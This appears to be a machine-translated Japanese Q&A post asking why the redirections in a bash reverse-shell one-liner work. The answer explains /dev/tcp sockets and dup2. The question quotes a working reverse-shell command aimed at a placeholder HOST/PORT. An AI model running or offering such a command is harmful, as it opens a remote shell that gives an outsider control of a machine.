私はこれを見つけたときにbashからリバースシェルを取得する方法を探していました:
bash -i > /dev/tcp/HOST/PORT 0<&1 2>&1
私が理解しているように、stdoutとstderrは/dev/tcp/HOST/PORT
接続()を介して送信され、stdinは0<&1
接続()を介して読み取られます。しかし、私が読んだようにここ、0>&1式も有効です。これは私には理解されておらず(私が知っている限り、「>
次のfdに書き込む」と<
「次のfdに読み込む」)、最初の方法でのみ動作するはずです。
私の質問は:私が何かを忘れているのでしょうか、それとも完全に間違っていますか?この入出力リダイレクトの例には、どの内部プロセスが含まれますか?
ベストアンサー1
<&
構文と構文の唯一の違いは、前者はターゲットファイル記述子が入力用>&
に開いていることを確認し、後者は出力用に開いていることを確認することです。実際の操作はどちらの場合も同じです(おそらくdup2
呼び出し)。また、ほとんどのリダイレクトが> /dev/tcp/HOST/PORT
システムコールを実行するのとは異なります。open
構文/dev/tcp
は bash の特殊なケースであり、実際に bash はソケットを開きます (その後、通常のファイル記述子 wrt のように動作してread
呼び出さwrite
れます)。ソケットには、ファイルを開くなどの読み取り専用または読み取り専用の属性はありません。ソケットは読み書きを許可します(shutdown(2)
必要に応じてその半分を選択できます)。したがって、bashは使用されている両方の構文でリダイレクトエラーを受け取らず、呼び出しがdup2
同じであるため、動作も同じです。